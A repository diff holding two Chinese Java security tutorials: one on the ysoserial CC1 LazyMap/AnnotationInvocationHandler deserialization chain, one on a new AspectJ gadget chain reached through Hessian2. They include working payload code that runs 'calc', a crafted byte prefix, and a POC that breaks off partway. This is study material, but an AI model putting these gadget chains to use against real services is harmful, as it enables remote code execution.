## CC1 链之 ysoserial 版
|
||||
|
||||
### 环境
|
||||
|
||||
- JDK = 8u65
|
||||
- commons-collections = 3.2.1
|
||||
|
||||
在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下:
|
||||
|
||||

|
||||
|
||||
这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。
|
||||
|
||||
前面我们利用 TransformedMap 类的 checkSetValue 方法来调用 transform 方法:
|
||||
|
||||
```
|
||||
protected Object checkSetValue(Object value) {
|
||||
return this.valueTransformer.transform(value);
|
||||
}
|
||||
```
|
||||
|
||||
那么回到这一步,还有谁调用了 transform 方法呢?LazyMap 中其实有相关的调用。
|
||||
|
||||
### 利用链之 LazyMap 类
|
||||
|
||||
LazyMap 的 get 方法中调用了 factory 的 transform 方法:
|
||||
|
||||
```
|
||||
public Object get(Object key) {
|
||||
// create value for key if key is not currently in the map
|
||||
if (map.containsKey(key) == false) {
|
||||
Object value = factory.transform(key);
|
||||
map.put(key, value);
|
||||
return value;
|
||||
}
|
||||
return map.get(key);
|
||||
}
|
||||
```
|
||||
|
||||
factory 是 LazyMap 中定义的属性:
|
||||
|
||||
```
|
||||
protected final Transformer factory;
|
||||
```
|
||||
|
||||
它在构造方法中被赋值:
|
||||
|
||||
```
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
if (factory == null) {
|
||||
throw new IllegalArgumentException("Factory must not be null");
|
||||
}
|
||||
this.factory = factory;
|
||||
}
|
||||
```
|
||||
|
||||
所以我们让这里的 factory 变成 ChainedTransformer 对象就行。
|
||||
|
||||
然而 LazyMap 的构造方法被 protected 修饰,不能直接调用,所以我们需要找哪个方法调用了 LazyMap 的构造方法。
|
||||
|
||||
LazyMap 的 decorate 方法中调用了 LazyMap 的构造方法:
|
||||
|
||||
```
|
||||
public static Map decorate(Map map, Transformer factory) {
|
||||
return new LazyMap(map, factory);
|
||||
}
|
||||
```
|
||||
|
||||
所以我们可以通过这个方法来给 factory 赋值。
|
||||
|
||||
接下来就是找哪里调用了 LazyMap 的 get 方法了,AnnotationInvocationHandler 的 invoke 方法有相关的调用。
|
||||
|
||||
### AnnotationInvocationHandler 入口类
|
||||
|
||||
#### AnnotationInvocationHandler 的 invoke 方法:
|
||||
|
||||
```
|
||||
public Object invoke(Object proxy, Method method, Object[] args) {
|
||||
String member = method.getName();
|
||||
Class<?>[] paramTypes = method.getParameterTypes();
|
||||
|
||||
// Handle Object and Annotation methods
|
||||
if (member.equals("equals") && paramTypes.length == 1 &&
|
||||
paramTypes[0] == Object.class)
|
||||
return equalsImpl(args[0]);
|
||||
if (paramTypes.length != 0)
|
||||
throw new AssertionError("Too many parameters for an annotation method");
|
||||
|
||||
switch(member) {
|
||||
case "toString":
|
||||
return toStringImpl();
|
||||
case "hashCode":
|
||||
return hashCodeImpl();
|
||||
case "annotationType":
|
||||
return type;
|
||||
}
|
||||
|
||||
// Handle annotation member accessors
|
||||
Object result = memberValues.get(member);
|
||||
|
||||
if (result == null)
|
||||
throw new IncompleteAnnotationException(type, member);
|
||||
|
||||
if (result instanceof ExceptionProxy)
|
||||
throw ((ExceptionProxy) result).generateException();
|
||||
|
||||
if (result.getClass().isArray() && Array.getLength(result) != 0)
|
||||
result = cloneArray(result);
|
||||
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
它调用了 memberValues 的 get 方法:
|
||||
|
||||
```
|
||||
// Handle annotation member accessors
|
||||
Object result = memberValues.get(member);
|
||||
```
|
||||
|
||||
memberValues 是 AnnotationInvocationHandler 类的属性:
|
||||
|
||||
```
|
||||
private final Map<String, Object> memberValues;
|
||||
```
|
||||
|
||||
它在构造方法中被赋值:
|
||||
|
||||
```
|
||||
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
|
||||
Class<?>[] superInterfaces = type.getInterfaces();
|
||||
if (!type.isAnnotation() ||
|
||||
superInterfaces.length != 1 ||
|
||||
superInterfaces[0] != java.lang.annotation.Annotation.class)
|
||||
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
|
||||
this.type = type;
|
||||
this.memberValues = memberValues;
|
||||
}
|
||||
```
|
||||
|
||||
这里可以依照前面的办法:利用反射调用 AnnotationInvocationHandler 的构造方法,将 memberValues 赋值成 LazyMap 对象。
|
||||
|
||||
那么又要如何调用 AnnotationInvocationHandler 的 invoke 方法呢?
|
||||
|
||||
AnnotationInvocationHandler 其实是一个代理类,它继承了 InvocationHandler 类,并重写了 invoke 方法。而我们知道,在调用代理对象的方法时,InvocationHandler 类的 invoke 方法将会被触发。(这方面与 Java 动态代理有关,可以去看我先前的文章)
|
||||
|
||||
假使我用 AnnotationInvocationHandler 来构建一个代理对象,那么只要这个代理对象的任意方法被调用,就会调用 AnnotationInvocationHandler 的 invoke 方法了。
|
||||
|
||||
那么为了能够反序列化利用,我们还是要回到 readObject 方法。
|
||||
|
||||
#### AnnotationInvocationHandler 的 readObject 方法:
|
||||
|
||||
```
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws java.io.IOException, ClassNotFoundException {
|
||||
s.defaultReadObject();
|
||||
|
||||
// Check to make sure that types have not evolved incompatibly
|
||||
|
||||
AnnotationType annotationType = null;
|
||||
try {
|
||||
annotationType = AnnotationType.getInstance(type);
|
||||
} catch(IllegalArgumentException e) {
|
||||
// Class is no longer an annotation type; time to punch out
|
||||
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
|
||||
}
|
||||
|
||||
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
||||
|
||||
// If there are annotation members without values, that
|
||||
// situation is handled by the invoke method.
|
||||
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
|
||||
String name = memberValue.getKey();
|
||||
Class<?> memberType = memberTypes.get(name);
|
||||
if (memberType != null) { // i.e. member still exists
|
||||
Object value = memberValue.getValue();
|
||||
if (!(memberType.isInstance(value) ||
|
||||
value instanceof ExceptionProxy)) {
|
||||
memberValue.setValue(
|
||||
new AnnotationTypeMismatchExceptionProxy(
|
||||
value.getClass() + "[" + value + "]").setMember(
|
||||
annotationType.members().get(name)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
沿用前辈们的思路,我们将触发点选为 memberValues.entrySet() ,只需要将 memberValues 设置成用 AnnotationInvocationHandler 构建的代理对象,那么在调用这个代理对象的任意方法时,都会调用 AnnotationInvocationHandler 的 invoke 方法。
|
||||
|
||||
这听起来似乎很矛盾,前面说 memberValues 要赋值成 LazyMap 对象,怎么这里又说 memberValues 要设置成用 AnnotationInvocationHandler 构建的代理对象呢?后面会给出解答。
|
||||
|
||||
### 构造 payload
|
||||
|
||||
```
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import org.apache.commons.collections.map.TransformedMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.Target;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class FinalPayload {
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 获取包含执行类的 ChainedTransformer 对象
|
||||
Transformer[] transformers = new Transformer[]{
|
||||
// 将传入参数固定为 Runtime.class
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer
|
||||
("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
|
||||
new InvokerTransformer
|
||||
("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
|
||||
new InvokerTransformer
|
||||
("exec", new Class[]{String.class}, new Object[]{"calc"})
|
||||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
|
||||
// 新建一个 Map 对象,无关紧要,只是作为参数传入
|
||||
Map<Object, Object> hashMap = new HashMap<>();
|
||||
|
||||
// 初始化利用链 LazyMap
|
||||
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
|
||||
|
||||
// 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性
|
||||
|
||||
// 获取 AnnotationInvocationHandler 的构造器对象
|
||||
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
|
||||
constructor.setAccessible(true);
|
||||
|
||||
// 因为不经过判断,第一个参数只要是注解类就行,第二个参数传入 Lazymap 对象作为 memberValues 的值
|
||||
Object annotationInvocationHandler1 = constructor.newInstance(Override.class, lazymap);
|
||||
|
||||
// 现在我已经通过构造方法获取了一个 AnnotationInvocationHandler 对象
|
||||
// 接下来将这个对象强转成 InvocationHandler 类型,然后用它来获取代理对象
|
||||
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandler1;
|
||||
|
||||
// 为了之后能将代理对象作为参数传入 AnnotationInvocationHandler 的构造方法
|
||||
// 这里选择创建一个 Map 类型的代理对象
|
||||
Map mapProxy = (Map) Proxy.newProxyInstance(
|
||||
// 第一个参数是构造器
|
||||
Map.class.getClassLoader(),
|
||||
// 第二个参数指明代理对象继承的接口
|
||||
new Class[]{Map.class},
|
||||
// 第三个参数需要一个重写了 invoke 方法的 InvocationHandler 对象
|
||||
// 这个对象的 invoke 方法将会在代理对象的任意方法被调用时调用
|
||||
invocationHandler
|
||||
);
|
||||
|
||||
// 传入 mapProxy 代理对象作为 memberValues 的值
|
||||
Object annotationInvocationHandler2 = constructor.newInstance(Override.class, mapProxy);
|
||||
|
||||
// serialize(annotationInvocationHandler2);
|
||||
unserialize("ser.bin");
|
||||
}
|
||||
|
||||
public static void serialize(Object obj) throws Exception {
|
||||
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
|
||||
oos.writeObject(obj);
|
||||
}
|
||||
|
||||
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
|
||||
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
|
||||
Object obj = ois.readObject();
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
看完 payload 想必就能理解了,我们将代理对象作为 AnnotationInvocationHandler 对象 annotationInvocationHandler2 的 memberValues 属性值,在反序列化时,调用 annotationInvocationHandler2 的 readObject 方法,进而调用 memberValues 的 entrySet() 方法(即代理对象的 entrySet() 方法),此时将会调用代理对象对应的 invoke 方法,这个 invoke 方法正是 annotationInvocationHandler1 的 invoke 方法,annotationInvocationHandler1 的 invoke 方法会调用 memberValues 的 get 方法,而 annotationInvocationHandler1 的 memberValues 属性已经被赋值成 LazyMap 对象了,于是这里调用的是 LazyMap 对象的 get 方法。
|
||||
|
||||
我再画个流程图来帮助理解:
|
||||
|
||||
```
|
||||
annotationInvocationHandler2 :: readObject() ->
|
||||
|
||||
annotationInvocationHandler2.memberValues :: entrySet()(annotationInvocationHandler2.memberValues = mapProxy)->
|
||||
|
||||
annotationInvocationHandler1 :: invoke()(annotationInvocationHandler1.memberValues = lazymap)->
|
||||
|
||||
lazymap :: get() ->
|
||||
|
||||
......
|
||||
```
|
||||
|
||||
想必应该能理解了。
|
||||
|
||||
### 调试
|
||||
|
||||
调试既是为了验证理论的正确性,又是为了加深理解,还可以发现未知的细节。
|
||||
|
||||
先执行序列化方法,生成文件之后,对反序列化方法做调试。
|
||||
|
||||
主程序 readObject 处下断点:
|
||||
|
||||

|
||||
|
||||
AnnotationInvocationHandler.java 的 readObject 方法中的 memberValues.entrySet() 处下断点:
|
||||
|
||||

|
||||
|
||||
AnnotationInvocationHandler.java 的 invoke 方法中的 memberValues.get 处下断点:
|
||||
|
||||

|
||||
|
||||
开始调试:
|
||||
|
||||

|
||||
|
||||
单步进入:进入了 AbstractMapDecorator 类,过程省略。
|
||||
|
||||
接着单步进入,此时来到了 LazyMap 的 readObject 方法:
|
||||
|
||||

|
||||
|
||||
执行完 LazyMap 的 readObject 方法以后就来到了 AnnotationInvocationHandler 的 invoke 方法:
|
||||
|
||||

|
||||
|
||||
调用堆栈也出现了很多调用,细看之下,又跟我们的利用链毫无关系。至于这里为什么会提前调用 invoke 方法,容后再议。
|
||||
|
||||
继续调试,经过断点 memberValues.entrySet() :
|
||||
|
||||

|
||||
|
||||
继续调试,不断单步进入又跳出,执行完之后会发现弹出了计算器,而且是三个:
|
||||
|
||||

|
||||
|
||||
调试发现中间调用了一大堆乱七八糟的类,实在没有耐心看了,就引用 yhy 师傅的一个比较有说服力的结论吧:
|
||||
|
||||
IDEA 在 debug 时,当 debug 到某个对象的时候,会调用对象的 toString() 方法,用来在 debug 界面显示对象信息。弹出多个计算器,多半是由于代理对象的 toString() 方法被私自调用了,触发了 invoke 方法,造成非预期的命令执行。
|
||||
|
||||
我们可以在 IDEA 中关闭 Debug 自动调用 toString() 方法:
|
||||
|
||||

|
||||
|
||||
至于为什么关闭这个设置后调试仍然弹出了三个计算器,我就不得而知了。
|
||||
|
||||
那么,接下来才是重头戏。我们重新设置断点,重新调试。
|
||||
|
||||
### 反序列化是由内向外的
|
||||
|
||||
在 AnnotationInvocationHandler 类的 readObject 方法中新增一处断点,这一断点是在上一次调试中发现的转折点:
|
||||
|
||||

|
||||
|
||||
其余断点不变,开始调试:
|
||||
|
||||

|
||||
|
||||
单步进入几次:
|
||||
|
||||

|
||||
|
||||
现在调用的是 LazyMap 的 readObject ,说明 LazyMap 相比其他对象是最先被反序列化的。
|
||||
|
||||
继续单步进入:
|
||||
|
||||

|
||||
|
||||
跳出 LazyMap 的 readObject 方法之后,我们就来到了 AnnotationInvocationHandler 的 readObject 方法,观察 this.memberValues 值,发现它是一个 LazyMap 对象,这说明什么?说明此时反序列化的这个 AnnotationInvocationHandler 对象是 mapProxy 代理对象在创建时作为参数传入的 AnnotationInvocationHandler 对象,而不是最外部的 AnnotationInvocationHandler 对象。
|
||||
|
||||
即此时反序列化的是 annotationInvocationHandler1 对象。
|
||||
|
||||
接下来单步进入会进入 AnnotationType 类的 getInstance 方法,这个方法又会调用 AnnotationType 的构造方法,在构造方法中我们发现行进到这一步时:
|
||||
|
||||

|
||||
|
||||
这里的 ret 已然是一个代理对象,调用 ret.value() 将会进入某个代理类的 invoke 方法。
|
||||
|
||||
再下一步就来到了 AnnotationInvocationHandler 对象的 invoke 方法:
|
||||
|
||||

|
||||
|
||||
这就是我们之前遇到的 invoke 方法被提前调用的问题。观察下面的 memberValues 属性值可以发现,此时执行 invoke 方法的 AnnotationInvocationHandler 对象并不是 annotationInvocationHandler1 ,因此这一步调用 invoke 并不会造成命令执行,事实也正是如此。
|
||||
|
||||
想必这里调用 AnnotationInvocationHandler 的 invoke 方法是 AnnotationType 类的内部逻辑,至于 ret 是如何成为由 AnnotationInvocationHandler 构建的代理对象的,我就不深究了。
|
||||
|
||||
继续调试,执行完这一步后,我们回到 annotationInvocationHandler1 的 readObject 方法:
|
||||
|
||||

|
||||
|
||||
直接跳到下个断点吧:
|
||||
|
||||

|
||||
|
||||
继续调试,当执行完这一步时,我们又来到了 AnnotationInvocationHandler 类的这个断点处:
|
||||
|
||||

|
||||
|
||||
并且弹出了三个计算器,说明命令执行在上一步已经完成了,至于这个 AnnotationInvocationHandler 对象,看看它的 memberValues 属性值会发现是一个代理对象,也就是说我们现在正在执行外部的 AnnotationInvocationHandler 对象也即 annotationInvocationHandler2 的 readObject 方法,这一步的 readObject 方法并不会造成命令执行,事实也正是如此,后面的就不用看了,至此,调试完毕。
|
||||
|
||||
通过调试,我们可以发现:**反序列化是由内向外的**。而我们之前所预测的调用链被推翻,接下来我会记录下真正的调用链。
|
||||
|
||||
### 重新书写调用链
|
||||
|
||||
```
|
||||
反序列化 ->
|
||||
|
||||
lazyMap :: readObject() ->
|
||||
|
||||
annotationInvocationHandler1 :: readObject() ->
|
||||
|
||||
AnnotationType :: getInstance() ->
|
||||
|
||||
AnnotationType :: AnnotationType() ->
|
||||
|
||||
AnnotationInvocationHandler :: invoke() (提前调用 invoke ,但不会命令执行)->
|
||||
|
||||
annotationInvocationHandler1.memberValues :: entrySet() ->
|
||||
|
||||
annotationInvocationHandler1 :: invoke() ->
|
||||
|
||||
annotationInvocationHandler1.memberValues :: get() (即 lazyMap :: get(),造成命令执行)->
|
||||
|
||||
annotationInvocationHandler2 :: readObject() ->
|
||||
|
||||
结束
|
||||
```
|
||||
|
||||
### 结语
|
||||
|
||||
真理的相对性也是真理之一,实践是检验真理的唯一标准。
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,427 @@
|
||||
# 漏洞篇 - Hessian Aspectj 二次反序列化新链
|
||||
> 2026-03-07
|
||||
> 来源:https://changeyourway.github.io/2026/03/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Hessian%20Aspectj%20%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%B0%E9%93%BE/
|
||||
|
||||
起因是我在用自制的 codeql mcp 工具测试 2026 alictf Fury 反序列化时,发现了一条新的二次反序列化链,可惜等构造完了才发现这个链子上的类没有实现 serializable ,本以为要难产了,jsjcw 师傅提醒说可以用在 hessian 上,因为是 toString 触发的,一语点醒梦中人,测试了确实可以,故而分享一下这条生来残缺的链子。
|
||||
|
||||
## 利用链总结
|
||||
|
||||
这条链从 toString 到 readObject 全都是 Aspectj 依赖中的类:
|
||||
|
||||
```
|
||||
<dependency>
|
||||
<groupId>org.aspectj</groupId>
|
||||
<artifactId>aspectjweaver</artifactId>
|
||||
<version>1.9.7</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.caucho</groupId>
|
||||
<artifactId>hessian</artifactId>
|
||||
<version>4.0.66</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
利用链如下:
|
||||
|
||||
```
|
||||
LazyMethodGen.toString
|
||||
LazyMethodGen.toLongString
|
||||
LazyMethodGen.print
|
||||
LazyMethodGen.printAspectAttributes
|
||||
Utility.readAjAttributes
|
||||
AjAttribute.read
|
||||
ResolvedTypeMunger.read
|
||||
NewMethodTypeMunger.readMethod
|
||||
ResolvedTypeMunger.readSourceLocation # 调用 readObject
|
||||
```
|
||||
|
||||
搭配 hessian2 调 toString ,就是一条完整的链子了:
|
||||
|
||||
```
|
||||
Hessian2Input#readObject
|
||||
Hessian2Input#readObjectDefinition
|
||||
Hessian2Input#readString
|
||||
Hessian2Input#expect
|
||||
```
|
||||
|
||||
## 原理分析
|
||||
|
||||
### 利用链分析
|
||||
|
||||
hessian2 调 toString 不再分析,直接从 LazyMethodGen.toString 开始:
|
||||
|
||||

|
||||
|
||||
这里调用 LazyMethodGen.toLongString ,并传入 weaverVersion ,而 weaverVersion 是从 this.enclosingClass 的 myType 属性中获取的,这个 myType 是 BcelObjectType 类型,后面有用:
|
||||
|
||||

|
||||
|
||||
跟进到 LazyMethodGen.toLongString ,这里调用 LazyMethodGen.print ,传入了一个空的流和 weaverVersion :
|
||||
|
||||

|
||||
|
||||
跟进到 LazyMethodGen.print ,这里调用 LazyMethodGen.printAspectAttributes:
|
||||
|
||||

|
||||
|
||||
LazyMethodGen.printAspectAttributes 又调用了 Utility.readAjAttributes :
|
||||
|
||||

|
||||
|
||||
注意传入的参数,第二个参数来自于 LazyMethodGen 的 attributes 属性:
|
||||
|
||||
```
|
||||
List<AjAttribute> as = org.aspectj.weaver.bcel.Utility.readAjAttributes(this.getClassName(), (Attribute[])this.attributes.toArray(new Attribute[0]), context, (World)null, weaverVersion, new BcelConstantPoolReader(this.enclosingClass.getConstantPool()));
|
||||
```
|
||||
|
||||
Utility.readAjAttributes 的第二个参数是一个 Attribute 数组,其中的每一项都会被读取,先强转为 Unknown 类型,然后调用 u.getBytes() 来获取这个 Unknown 对象的字节流,而这个字节流就是后续被反序列化的字节流:
|
||||
|
||||

|
||||
|
||||
看到这里可能会以为这个字节流不可控了,但实际上 Unknown.getBytes() 也不过是获取其 bytes 属性,仍然在掌握之中:
|
||||
|
||||

|
||||
|
||||
接着跟进 AjAttribute.read ,根据传入的 name 不同,进入不同的处理逻辑,name 来自于 Unknown.getName() ,同样是可以控制的,控制其值为 org.aspectj.weaver.TypeMunger ,就可以进入 TypeMunger 的处理逻辑,调用 ResolvedTypeMunger.read 方法:
|
||||
|
||||

|
||||
|
||||
跟进 ResolvedTypeMunger.read ,其会先调用 ResolvedTypeMunger.Kind.read 获取类型,再针对不同类型进入不同的处理逻辑:
|
||||
|
||||

|
||||
|
||||
ResolvedTypeMunger.Kind.read 就是读取流中的第一个字节,根据数值判断,不麻烦,第一个字节设置为 2(其它的应该也可以):
|
||||
|
||||

|
||||
|
||||
如此就进入 Method 的处理逻辑,调用 NewMethodTypeMunger.readMethod :
|
||||
|
||||

|
||||
|
||||
而在这其中比较难处理的是 ResolvedMemberImpl.readResolvedMember 方法,它会读取相当多的字节,需要确保这个过程不出异常,才能进入后续逻辑:
|
||||
|
||||

|
||||
|
||||
MemberKind.read 从流中读取一个字节,以确定成员类型,这个字节的数值只能是 1-9 :
|
||||
|
||||

|
||||
|
||||
接下来 s.isAtLeast169() 判断版本是不是 ≥ 1.6.9 ,若是则读取一个 boolean,实际上 s.isAtLeast169() 最终是获取了一个 major\_version 并判断它是不是大于 7 ,这个 major\_version 在后续还有用,后续其构造的数值要求是 2 ,使得这里 compressed 是 false :
|
||||
|
||||
 
|
||||
|
||||
由于 compressed 为 false ,接下来进入 UnresolvedType.read ,其中使用 readUTF() 。
|
||||
|
||||
readUTF():
|
||||
|
||||
1. 先读取 2 字节 (unsigned short) → 表示字符串字节长度 length
|
||||
2. 再读取 length 个字节 → 这些字节是 UTF-8 编码字符串
|
||||
|
||||
根据读取到的字符串判断类型签名(signature),并根据该签名构造一个 UnresolvedType 对象:
|
||||
|
||||

|
||||
|
||||
签名如果为 @missing@ ,返回一个 ResolvedType.MISSING ,表示该类型不存在 / 无法解析。或者签名可以为其它一些常见类型比如 `Ljava/lang/String;` 。由于后面会利用这个 declaringType 创建一个 ResolvedMemberImpl 对象,要想后面不出错,这里的签名就不能是 @missing@ ,姑且设置一个 `Ljava/lang/Object;` 。
|
||||
|
||||

|
||||
|
||||
接着 s.readInt(); 读取一个 int ,也就是四个字节,获得一个 modifiers ,设置为 1 ;
|
||||
|
||||
s.readUTF() 读取一个 UTF 字符串,获得一个 name ,这个要用作方法名;
|
||||
|
||||
s.readUTF() 读取一个 UTF 字符串,获得一个 signature;
|
||||
|
||||
然后用这五个值去构造一个 ResolvedMemberImpl 对象,只需要让它不报错就行了,我这样构造:
|
||||
|
||||
```
|
||||
ResolvedMemberImpl {
|
||||
kind = METHOD
|
||||
declaringType = java.lang.Object
|
||||
modifiers = public
|
||||
name = testMethod
|
||||
signature = ()V
|
||||
exceptions = []
|
||||
}
|
||||
```
|
||||
|
||||
后续读取 m.checkedExceptions ,m.start ,m.end ,都设置为 0 即可。
|
||||
|
||||
由于 s.getMajorVersion() 需要设置为 2 ,后续还要再读取一个 tvcount ,为避免麻烦同样设置为 0 。
|
||||
|
||||
随后这个 ResolvedMemberImpl.readResolvedMember 就算走完了,返回到 NewMethodTypeMunger.readMethod ,往下一步进入到 readSuperMethodsCalled 方法里,还是一样,s.isAtLeast169() 为 false ,这里会读取一个 int :
|
||||
|
||||

|
||||
|
||||
返回到 NewMethodTypeMunger.readMethod ,接着往下一步就进入到 ResolvedTypeMunger.readSourceLocation :
|
||||
|
||||

|
||||
|
||||
首行就是判断 s.getMajorVersion() 是否小于 2 ,这就是为什么前面要将 major\_version 设置为 2 ,这样既可以顺利通过判断,又能在 ResolvedMemberImpl.readResolvedMember 中尽可能少进入一些判断。
|
||||
|
||||
随后由于 s.isAtLeast169() 为 false ,&& 为截断符,所以这个 s.readByte() 就不会读取了,进入 else 处理逻辑。
|
||||
|
||||
前面的 readxxx 都会将字节流中的字节取走,后面的 readObject() 只会反序列化剩下的字节,把恶意对象的字节流放在那些必要的字节之后即可。
|
||||
|
||||
### 前缀字节流
|
||||
|
||||
最后我构造的前缀字节流如下:
|
||||
|
||||
```
|
||||
new byte[]{2, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
|
||||
```
|
||||
|
||||
解释一下:
|
||||
|
||||
\[0\]: ResolvedTypeMunger.Kind 设置为 Method
|
||||
|
||||
\[1\]: MemberKind 设置为 METHOD
|
||||
|
||||
\[2-21\]: declaringType 设置为 Ljava/lang/Object;
|
||||
|
||||
\[22-25\]: modifiers 设置为 public
|
||||
|
||||
\[26-37\]: name 设置为 testMethod
|
||||
|
||||
\[38-42\]: signature 设置为 ()V
|
||||
|
||||
\[43-44\]: m.checkedExceptions 设置为 0
|
||||
|
||||
\[45-48\]: m.start 设置为 0
|
||||
|
||||
\[49-52\]: m.end 设置为 0
|
||||
|
||||
\[53-56\]: tvcount 设置为 0
|
||||
|
||||
\[57-60\]: readSuperMethodsCalled 方法读取 4 字节
|
||||
|
||||
如此便能顺利通过前面的流程,将剩下的字节流反序列化。
|
||||
|
||||
### MajorVersion 设置
|
||||
|
||||
前面还遗留了一个问题就是如何将 s.getMajorVersion() 设置为 2 。
|
||||
|
||||
在 AjAttribute.read 中会调用 s.setVersion 设置其 version 属性:
|
||||
|
||||
 
|
||||
|
||||
而这个 WeaverVersionInfo 对象其实就是最初 LazyMethodGen 的属性中获取的
|
||||
|
||||

|
||||
|
||||
只需要将 LazyMethodGen.enclosingClass.myType.wvInfo.major\_version 属性设置为 2就可以了。
|
||||
|
||||
### lazyMethodGen 的初始化问题
|
||||
|
||||
还有一个问题就是 lazyMethodGen 是懒加载的,要想设置 lazyMethodGen 的 attributes 属性,就先要调用其 initialize() 方法初始化,再反射赋值,这样后续再进入 initialize() 就不会将已有的属性值又重新初始化清空一遍了。在构造序列化数据时要注意。
|
||||
|
||||
由于 initialize() 方法是私有的,我选择调用一次 lazyMethodGen.getAnnotations() 来间接调用 initialize() 方法:
|
||||
|
||||

|
||||
|
||||
## POC
|
||||
|
||||
创建一个 Person 类,实现 readObject 方法,在其中执行命令:
|
||||
|
||||
```
|
||||
package hessianTest;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.Serializable;
|
||||
|
||||
public class Person implements Serializable {
|
||||
public Person() {}
|
||||
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
|
||||
Runtime.getRuntime().exec("calc");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
验证 POC:
|
||||
|
||||
```
|
||||
package hessianTest;
|
||||
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Input;
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
//import com.alibaba.com.caucho.hessian.io.Hessian2Input;
|
||||
//import com.alibaba.com.caucho.hessian.io.Hessian2Output;
|
||||
import org.apache.toStringTest;
|
||||
import org.aspectj.apache.bcel.classfile.*;
|
||||
import org.aspectj.apache.bcel.util.ClassLoaderRepository;
|
||||
import org.aspectj.weaver.ReferenceType;
|
||||
import org.aspectj.weaver.bcel.BcelObjectType;
|
||||
import org.aspectj.weaver.bcel.BcelWorld;
|
||||
import org.aspectj.weaver.bcel.LazyClassGen;
|
||||
import org.aspectj.weaver.bcel.LazyMethodGen;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
public class EXP {
|
||||
public static byte[] Hessian2_Serial(Object o) throws IOException {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(baos);
|
||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessian2Output.writeObject(o);
|
||||
hessian2Output.flushBuffer();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
|
||||
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
|
||||
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
|
||||
Hessian2Input hessian2Input = new Hessian2Input(bais);
|
||||
Object o = hessian2Input.readObject();
|
||||
return o;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
// 1. Create BcelWorld
|
||||
BcelWorld world = new BcelWorld();
|
||||
|
||||
// 2. Create JavaClass using ClassLoaderRepository
|
||||
ClassLoaderRepository repo = new ClassLoaderRepository(toStringTest.class.getClassLoader());
|
||||
JavaClass javaClass = repo.loadClass("java.lang.Object");
|
||||
|
||||
// 3. Create ReferenceType
|
||||
// Signature for java.lang.Object is Ljava/lang/Object;
|
||||
ReferenceType referenceType = new ReferenceType("Ljava/lang/Object;", world);
|
||||
|
||||
// 4. Create BcelObjectType via reflection (package-private constructor)
|
||||
// Constructor: BcelObjectType(ReferenceType, JavaClass, boolean, boolean)
|
||||
